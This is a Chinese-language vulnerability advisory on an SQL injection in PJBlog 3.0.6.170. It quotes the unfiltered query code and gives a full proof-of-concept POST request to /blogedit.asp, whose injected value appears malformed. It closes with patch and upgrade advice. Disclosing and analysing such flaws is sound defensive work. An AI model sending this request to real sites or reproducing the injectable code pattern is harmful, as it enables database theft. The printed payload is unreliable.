PJBlog 作为一款开源免费的中文个人博客系统,基于 ASP + Access 架构,性能表现不俗,并兼容当时博客圈流行的诸多功能。然而,在版本 3.0.6.170 中,安全研究人员发现了一个严重的 SQL 注入漏洞,影响范围广泛。下面我们直接深入分析该漏洞的细节。
PJBlog SQL 注入漏洞详细分析
漏洞根源位于 class/cls_logAction.asp 文件的第 429 行附近。存在问题的关键代码如下:
oldcate = request.form("oldcate")
oldctype = request.form("oldtype")
D = conn.execute("select cate_Part from blog_Category where cate_ID=" & oldcate)(0)
可以看到,oldcate 变量直接从表单接收数据,未经任何过滤或转义处理,便直接拼接至 SQL 查询语句中。攻击者只需巧妙构造 POST 参数,即可注入恶意 SQL 代码,进而窃取或篡改数据库中的敏感信息。
漏洞利用演示
利用过程并不复杂,核心思路是向 /blogedit.asp 发送一个精心构造的 POST 请求,将注入点置于 oldcate 参数中。以下是一个典型的攻击载荷示例(请留意 oldcate=3201=1 中的注入部分):
POST /blogedit.asp HTTP/1.1
Host: 127.0.0.1
...
id=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID=3&cname=xxx&ctype=0&oldcname=xxx&oldtype=0&oldcate=3201=1&log_weather=sunny&log_Level=level3&log_comorder=1&blog_pws=0&log_Readpw=&log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description=web+safe&log_From=本站原创&log_FromURL=https://localhost/backci/&PubTimeType=com&PubTime=2009-4-21+15:54:46&tags=&UBBfonts=&UBBfonts=&UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=web+safe&log_Quote=
在该请求中,oldcate 参数值被设置为 3201=1,这直接改变了 SQL 语句的语法结构,从而成功实现注入攻击。至于攻击者能获取哪些数据,则取决于其后续的操作手段。
漏洞修复与升级建议
漏洞被披露后,官方迅速发布了补丁程序。当前最新版本已彻底修复此安全问题。如果您仍在使用 PJBlog 3.0.6.170 或更早版本,请务必尽快升级至最新版本。
补丁下载地址(官方论坛):https://bbs.pjhome.net/thread-52214-1-1.html
总结而言,此 SQL 注入漏洞属于典型的“参数未过滤”安全缺陷,攻击面清晰、利用门槛低,影响范围覆盖所有运行该版本的站点。对于仍在维护老版本 PJBlog 的站长来说,及时安装补丁、升级系统是唯一有效的解决方案。
